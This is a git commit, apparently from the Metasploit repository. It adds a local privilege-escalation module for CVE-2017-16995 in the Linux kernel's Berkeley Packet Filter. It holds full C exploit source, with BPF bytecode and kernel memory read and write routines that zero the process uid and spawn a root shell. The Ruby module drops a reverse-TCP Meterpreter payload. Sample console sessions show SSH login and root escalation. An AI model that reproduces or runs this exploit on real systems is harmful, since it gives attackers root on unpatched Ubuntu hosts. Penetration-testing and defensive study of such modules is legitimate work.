cve-2017-16995
parent
d66f409542
commit
6b0691a91a
Binary file not shown.
|
@ -0,0 +1,140 @@
|
|||
## Vulnerable Application
|
||||
|
||||
This module exploits the Berkeley Packet Filter in the Linux kernel prior to 4.13.0,
|
||||
which cotains a vulnerability where it may improperly perform sign extentension.
|
||||
This can be utilized to priv escalate. However, this module's offsets and
|
||||
other parameters have only been set and tested against Ubuntu 16.04.
|
||||
|
||||
This module has been successfully tested on:
|
||||
|
||||
* Ubuntu 16.04 with the 4.4.0-116 kernel
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Exploit a box via whatever method
|
||||
4. Do: `use exploit/linux/local/bpf_extension_priv_esc`
|
||||
5. Do: `set session #`
|
||||
6. Do: `set verbose true`
|
||||
7. Do: `exploit`
|
||||
|
||||
## Options
|
||||
|
||||
**WritableDir**
|
||||
|
||||
A folder we can write files to. Defaults to `/tmp`
|
||||
|
||||
**COMPILE**
|
||||
|
||||
If we should live compile on the system, or drop pre-created binaries. Auto will determine if gcc/libs are installed to compile live on the system. Defaults to `Auto`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Ubuntu 16.04 (with Linux 4.4.0-116-generic)
|
||||
|
||||
#### Initial Access
|
||||
|
||||
```
|
||||
resource (ubuntu.rb)> use auxiliary/scanner/ssh/ssh_login
|
||||
resource (ubuntu.rb)> set rhosts 2.2.2.2
|
||||
rhosts => 2.2.2.2
|
||||
resource (ubuntu.rb)> set username ubuntu
|
||||
username => ubuntu
|
||||
resource (ubuntu.rb)> set password ubuntu
|
||||
password => ubuntu
|
||||
resource (ubuntu.rb)> exploit
|
||||
[+] 2.2.2.2:22 - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare) Linux ubuntu 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux '
|
||||
[*] Command shell session 1 opened (1.1.1.1:36273 -> 2.2.2.2:22) at 2018-03-23 20:42:04 -0400
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
#### Escalate
|
||||
|
||||
In this scenario, gcc is installed so we can live compile on the system.
|
||||
|
||||
```
|
||||
resource (ubuntu.rb)> use exploit/linux/local/bpf_sign_extension_priv_esc
|
||||
resource (ubuntu.rb)> set verbose true
|
||||
verbose => true
|
||||
resource (ubuntu.rb)> set session 1
|
||||
session => 1
|
||||
resource (ubuntu.rb)> set lhost 1.1.1.1
|
||||
lhost => 1.1.1.1
|
||||
resource (ubuntu.rb)> exploit
|
||||
[!] SESSION may not be compatible with this module.
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4444
|
||||
[+] Kernel confirmed vulnerable
|
||||
[+] gcc is installed
|
||||
[*] Live compiling exploit on system
|
||||
[*] Writing files to target
|
||||
[*] Writing vQIIRofN to /tmp/vQIIRofN.c
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 7797 bytes in 1 chunks of 26837 bytes (octal-encoded), using printf
|
||||
[*] Writing iuRJiXBf to /tmp/iuRJiXBf
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 283 bytes in 1 chunks of 844 bytes (octal-encoded), using printf
|
||||
[*] Starting execution of priv esc.
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (812100 bytes) to 2.2.2.2
|
||||
[*] task_struct = ffff88003869aa00
|
||||
[*] uidptr = ffff8800354fb244
|
||||
[*] spawning root shell
|
||||
[*] Sleeping before handling stage...
|
||||
[+] Deleted /tmp/vQIIRofN.c
|
||||
[+] Deleted /tmp/vQIIRofN
|
||||
[+] Deleted /tmp/iuRJiXBf
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : 2.2.2.2
|
||||
OS : Ubuntu 16.04 (Linux 4.4.0-116-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter > getuid
|
||||
Server username: uid=0, gid=0, euid=0, egid=0
|
||||
```
|
||||
|
||||
#### Escalate w/ pre-compiled binaries
|
||||
|
||||
It is possible to force pre-compiled binaries, in a scenario where `build-essential` or `gcc` aren't on the system.
|
||||
|
||||
```
|
||||
resource (ubuntu.rb)> use exploit/linux/local/bpf_sign_extension_priv_esc
|
||||
resource (ubuntu.rb)> set verbose true
|
||||
verbose => true
|
||||
resource (ubuntu.rb)> set session 1
|
||||
session => 1
|
||||
resource (ubuntu.rb)> set lhost 1.1.1.1
|
||||
lhost => 1.1.1.1
|
||||
resource (ubuntu.rb)> exploit
|
||||
[!] SESSION may not be compatible with this module.
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4444
|
||||
[+] Kernel confirmed vulnerable
|
||||
[-] gcc is not installed. Compiling will fail.
|
||||
[*] Dropping pre-compiled exploit on system
|
||||
[*] Writing vsQTwocG to /tmp/vsQTwocG
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 14040 bytes in 1 chunks of 36802 bytes (octal-encoded), using printf
|
||||
[*] Writing JDQDHtEG to /tmp/JDQDHtEG
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 283 bytes in 1 chunks of 844 bytes (octal-encoded), using printf
|
||||
[*] Starting execution of priv esc.
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (812100 bytes) to 2.2.2.2
|
||||
[*] task_struct = ffff88003a8a3800
|
||||
[*] uidptr = ffff88003d276304
|
||||
[*] spawning root shell
|
||||
[*] Sleeping before handling stage...
|
||||
[+] Deleted /tmp/vsQTwocG
|
||||
[+] Deleted /tmp/JDQDHtEG
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: uid=0, gid=0, euid=0, egid=0
|
||||
meterpreter > sysinfo
|
||||
Computer : 2.2.2.2
|
||||
OS : Ubuntu 16.04 (Linux 4.4.0-116-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
```
|
|
@ -0,0 +1,388 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = GoodRanking
|
||||
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Post::File
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info, {
|
||||
'Name' => 'Ubuntu BPF Sign Extension Local Privilege Escalation',
|
||||
'Description' => %q{
|
||||
Linux kernel prior to 4.13.0 utilize the Berkeley Packet Filter
|
||||
which cotains a vulnerability where it may improperly perform
|
||||
sign extentension. This can be utilized to priv escalate,
|
||||
this module has been tested on Ubuntu 16.04 with the 4.4.0-116
|
||||
kernel.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'bleidl', # discovery
|
||||
'vnik', #edb
|
||||
'h00die' # metasploit module
|
||||
],
|
||||
'Platform' => [ 'linux' ],
|
||||
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2017-16995' ],
|
||||
[ 'EDB', '44298' ],
|
||||
[ 'URL', 'https://usn.ubuntu.com/3523-2/' ],
|
||||
[ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=95a762e2c8c942780948091f8f2a4f32fce1ac6f' ]
|
||||
],
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Linux x64', { 'Arch' => ARCH_X64 } ]
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'payload' => 'linux/x64/meterpreter/reverse_tcp',
|
||||
'PrependFork' => true,
|
||||
},
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Nov 12 2017',
|
||||
'Privileged' => true
|
||||
}
|
||||
))
|
||||
register_options([
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
|
||||
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]),
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
uname = cmd_exec('uname -r')
|
||||
if uname == '4.4.0-116-generic'
|
||||
vprint_good('Kernel confirmed vulnerable')
|
||||
return CheckCode::Appears
|
||||
end
|
||||
print_error('Kernel not vulnerable')
|
||||
CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
def upload_and_compile(filename, file_path, file_content, compile=nil)
|
||||
rm_f "#{file_path}"
|
||||
if not compile.nil?
|
||||
rm_f "#{file_path}.c"
|
||||
vprint_status("Writing #{filename} to #{file_path}.c")
|
||||
write_file("#{file_path}.c", file_content)
|
||||
register_file_for_cleanup("#{file_path}.c")
|
||||
output = cmd_exec(compile)
|
||||
if output != ''
|
||||
print_error(output)
|
||||
fail_with(Failure::Unknown, "#{filename} at #{file_path}.c failed to compile")
|
||||
end
|
||||
else
|
||||
vprint_status("Writing #{filename} to #{file_path}")
|
||||
write_file(file_path, file_content)
|
||||
end
|
||||
cmd_exec("chmod +x #{file_path}");
|
||||
register_file_for_cleanup(file_path)
|
||||
end
|
||||
|
||||
c_code = %q{
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <string.h>
|
||||
#include <linux/bpf.h>
|
||||
#include <linux/unistd.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/un.h>
|
||||
#include <sys/stat.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#define PHYS_OFFSET 0xffff880000000000
|
||||
#define CRED_OFFSET 0x5f8
|
||||
#define UID_OFFSET 4
|
||||
#define LOG_BUF_SIZE 65536
|
||||
#define PROGSIZE 328
|
||||
|
||||
int sockets[2];
|
||||
int mapfd, progfd;
|
||||
|
||||
char *__prog = "\xb4\x09\x00\x00\xff\xff\xff\xff"
|
||||
"\x55\x09\x02\x00\xff\xff\xff\xff"
|
||||
"\xb7\x00\x00\x00\x00\x00\x00\x00"
|
||||
"\x95\x00\x00\x00\x00\x00\x00\x00"
|
||||
"\x18\x19\x00\x00\x03\x00\x00\x00"
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
"\xbf\x91\x00\x00\x00\x00\x00\x00"
|
||||
"\xbf\xa2\x00\x00\x00\x00\x00\x00"
|
||||
"\x07\x02\x00\x00\xfc\xff\xff\xff"
|
||||
"\x62\x0a\xfc\xff\x00\x00\x00\x00"
|
||||
"\x85\x00\x00\x00\x01\x00\x00\x00"
|
||||
"\x55\x00\x01\x00\x00\x00\x00\x00"
|
||||
"\x95\x00\x00\x00\x00\x00\x00\x00"
|
||||
"\x79\x06\x00\x00\x00\x00\x00\x00"
|
||||
"\xbf\x91\x00\x00\x00\x00\x00\x00"
|
||||
"\xbf\xa2\x00\x00\x00\x00\x00\x00"
|
||||
"\x07\x02\x00\x00\xfc\xff\xff\xff"
|
||||
"\x62\x0a\xfc\xff\x01\x00\x00\x00"
|
||||
"\x85\x00\x00\x00\x01\x00\x00\x00"
|
||||
"\x55\x00\x01\x00\x00\x00\x00\x00"
|
||||
"\x95\x00\x00\x00\x00\x00\x00\x00"
|
||||
"\x79\x07\x00\x00\x00\x00\x00\x00"
|
||||
"\xbf\x91\x00\x00\x00\x00\x00\x00"
|
||||
"\xbf\xa2\x00\x00\x00\x00\x00\x00"
|
||||
"\x07\x02\x00\x00\xfc\xff\xff\xff"
|
||||
"\x62\x0a\xfc\xff\x02\x00\x00\x00"
|
||||
"\x85\x00\x00\x00\x01\x00\x00\x00"
|
||||
"\x55\x00\x01\x00\x00\x00\x00\x00"
|
||||
"\x95\x00\x00\x00\x00\x00\x00\x00"
|
||||
"\x79\x08\x00\x00\x00\x00\x00\x00"
|
||||
"\xbf\x02\x00\x00\x00\x00\x00\x00"
|
||||
"\xb7\x00\x00\x00\x00\x00\x00\x00"
|
||||
"\x55\x06\x03\x00\x00\x00\x00\x00"
|
||||
"\x79\x73\x00\x00\x00\x00\x00\x00"
|
||||
"\x7b\x32\x00\x00\x00\x00\x00\x00"
|
||||
"\x95\x00\x00\x00\x00\x00\x00\x00"
|
||||
"\x55\x06\x02\x00\x01\x00\x00\x00"
|
||||
"\x7b\xa2\x00\x00\x00\x00\x00\x00"
|
||||
"\x95\x00\x00\x00\x00\x00\x00\x00"
|
||||
"\x7b\x87\x00\x00\x00\x00\x00\x00"
|
||||
"\x95\x00\x00\x00\x00\x00\x00\x00";
|
||||
|
||||
char bpf_log_buf[LOG_BUF_SIZE];
|
||||
|
||||
static int bpf_prog_load(enum bpf_prog_type prog_type,
|
||||
const struct bpf_insn *insns, int prog_len,
|
||||
const char *license, int kern_version) {
|
||||
union bpf_attr attr = {
|
||||
.prog_type = prog_type,
|
||||
.insns = (__u64)insns,
|
||||
.insn_cnt = prog_len / sizeof(struct bpf_insn),
|
||||
.license = (__u64)license,
|
||||
.log_buf = (__u64)bpf_log_buf,
|
||||
.log_size = LOG_BUF_SIZE,
|
||||
.log_level = 1,
|
||||
};
|
||||
|
||||
attr.kern_version = kern_version;
|
||||
|
||||
bpf_log_buf[0] = 0;
|
||||
|
||||
return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
|
||||
}
|
||||
|
||||
static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
|
||||
int max_entries) {
|
||||
union bpf_attr attr = {
|
||||
.map_type = map_type,
|
||||
.key_size = key_size,
|
||||
.value_size = value_size,
|
||||
.max_entries = max_entries
|
||||
};
|
||||
|
||||
return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
|
||||
}
|
||||
|
||||
static int bpf_update_elem(uint64_t key, uint64_t value) {
|
||||
union bpf_attr attr = {
|
||||
.map_fd = mapfd,
|
||||
.key = (__u64)&key,
|
||||
.value = (__u64)&value,
|
||||
.flags = 0,
|
||||
};
|
||||
|
||||
return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
|
||||
}
|
||||
|
||||
static int bpf_lookup_elem(void *key, void *value) {
|
||||
union bpf_attr attr = {
|
||||
.map_fd = mapfd,
|
||||
.key = (__u64)key,
|
||||
.value = (__u64)value,
|
||||
};
|
||||
|
||||
return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
|
||||
}
|
||||
|
||||
static void __exit(char *err) {
|
||||
fprintf(stderr, "error: %s\n", err);
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
static void prep(void) {
|
||||
mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3);
|
||||
if (mapfd < 0)
|
||||
__exit(strerror(errno));
|
||||
|
||||
progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,
|
||||
(struct bpf_insn *)__prog, PROGSIZE, "GPL", 0);
|
||||
|
||||
if (progfd < 0)
|
||||
__exit(strerror(errno));
|
||||
|
||||
if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets))
|
||||
__exit(strerror(errno));
|
||||
|
||||
if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0)
|
||||
__exit(strerror(errno));
|
||||
}
|
||||
|
||||
static void writemsg(void) {
|
||||
char buffer[64];
|
||||
|
||||
ssize_t n = write(sockets[0], buffer, sizeof(buffer));
|
||||
|
||||
if (n < 0) {
|
||||
perror("write");
|
||||
return;
|
||||
}
|
||||
if (n != sizeof(buffer))
|
||||
fprintf(stderr, "short write: %lu\n", n);
|
||||
}
|
||||
|
||||
#define __update_elem(a, b, c) \
|
||||
bpf_update_elem(0, (a)); \
|
||||
bpf_update_elem(1, (b)); \
|
||||
bpf_update_elem(2, (c)); \
|
||||
writemsg();
|
||||
|
||||
static uint64_t get_value(int key) {
|
||||
uint64_t value;
|
||||
|
||||
if (bpf_lookup_elem(&key, &value))
|
||||
__exit(strerror(errno));
|
||||
|
||||
return value;
|
||||
}
|
||||
|
||||
static uint64_t __get_fp(void) {
|
||||
__update_elem(1, 0, 0);
|
||||
|
||||
return get_value(2);
|
||||
}
|
||||
|
||||
static uint64_t __read(uint64_t addr) {
|
||||
__update_elem(0, addr, 0);
|
||||
|
||||
return get_value(2);
|
||||
}
|
||||
|
||||
static void __write(uint64_t addr, uint64_t val) {
|
||||
__update_elem(2, addr, val);
|
||||
}
|
||||
|
||||
static uint64_t get_sp(uint64_t addr) {
|
||||
return addr & ~(0x4000 - 1);
|
||||
}
|
||||
|
||||
static void pwn(void) {
|
||||
uint64_t fp, sp, task_struct, credptr, uidptr;
|
||||
|
||||
fp = __get_fp();
|
||||
if (fp < PHYS_OFFSET)
|
||||
__exit("bogus fp");
|
||||
|
||||
sp = get_sp(fp);
|
||||
if (sp < PHYS_OFFSET)
|
||||
__exit("bogus sp");
|
||||
|
||||
task_struct = __read(sp);
|
||||
|
||||
if (task_struct < PHYS_OFFSET)
|
||||
__exit("bogus task ptr");
|
||||
|
||||
printf("task_struct = %lx\n", task_struct);
|
||||
|
||||
credptr = __read(task_struct + CRED_OFFSET); // cred
|
||||
|
||||
if (credptr < PHYS_OFFSET)
|
||||
__exit("bogus cred ptr");
|
||||
|
||||
uidptr = credptr + UID_OFFSET; // uid
|
||||
if (uidptr < PHYS_OFFSET)
|
||||
__exit("bogus uid ptr");
|
||||
|
||||
printf("uidptr = %lx\n", uidptr);
|
||||
__write(uidptr, 0); // set both uid and gid to 0
|
||||
|
||||
if (getuid() == 0) {
|
||||
printf("spawning root shell\n");
|
||||
system("/bin/bash");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
__exit("not vulnerable?");
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
prep();
|
||||
pwn();
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
filename = rand_text_alpha(8)
|
||||
path = "#{datastore['WritableDir']}/#{filename}"
|
||||
|
||||
if check != CheckCode::Appears
|
||||
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
|
||||
end
|
||||
|
||||
def check_gcc?()
|
||||
gcc = cmd_exec('which gcc')
|
||||
if gcc.include?('gcc')
|
||||
vprint_good('gcc is installed')
|
||||
return true
|
||||
else
|
||||
print_error('gcc is not installed. Compiling will fail.')
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
compile = false
|
||||
if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True'
|
||||
if check_gcc?()
|
||||
compile = true
|
||||
vprint_status('Live compiling exploit on system')
|
||||
else
|
||||
vprint_status('Dropping pre-compiled exploit on system')
|
||||
end
|
||||
end
|
||||
|
||||
if compile == false
|
||||
compiled_path = ::File.join( Msf::Config.data_directory, 'exploits', 'cve-2017-16995', 'exploit.out')
|
||||
fd = ::File.open( compiled_path, "rb")
|
||||
c_code = fd.read(fd.stat.size)
|
||||
fd.close
|
||||
|
||||
# use the variable names hard coded in the compiled versions
|
||||
payload_filename = 'JDQDHtEG'
|
||||
payload_path = '/tmp/JDQDHtEG'
|
||||
else
|
||||
payload_filename = rand_text_alpha(8)
|
||||
payload_path = "#{datastore['WritableDir']}/#{payload_filename}"
|
||||
|
||||
# make our substitutions so things are dynamic
|
||||
c_code.gsub!(/system\("\/bin\/bash"\);/,
|
||||
"system(\"#{payload_path}\");") #launch our payload, and do it in a return to not freeze the executable
|
||||
print_status('Writing files to target')
|
||||
cmd_exec("cd #{datastore['WritableDir']}")
|
||||
end
|
||||
upload_and_compile(filename, path, c_code, compile ? "gcc -o #{filename} #{filename}.c" : nil)
|
||||
upload_and_compile(payload_filename, payload_path, generate_payload_exe)
|
||||
|
||||
print_status('Starting execution of priv esc.')
|
||||
|
||||
output = cmd_exec(path)
|
||||
output.each_line { |line| vprint_status line.chomp }
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue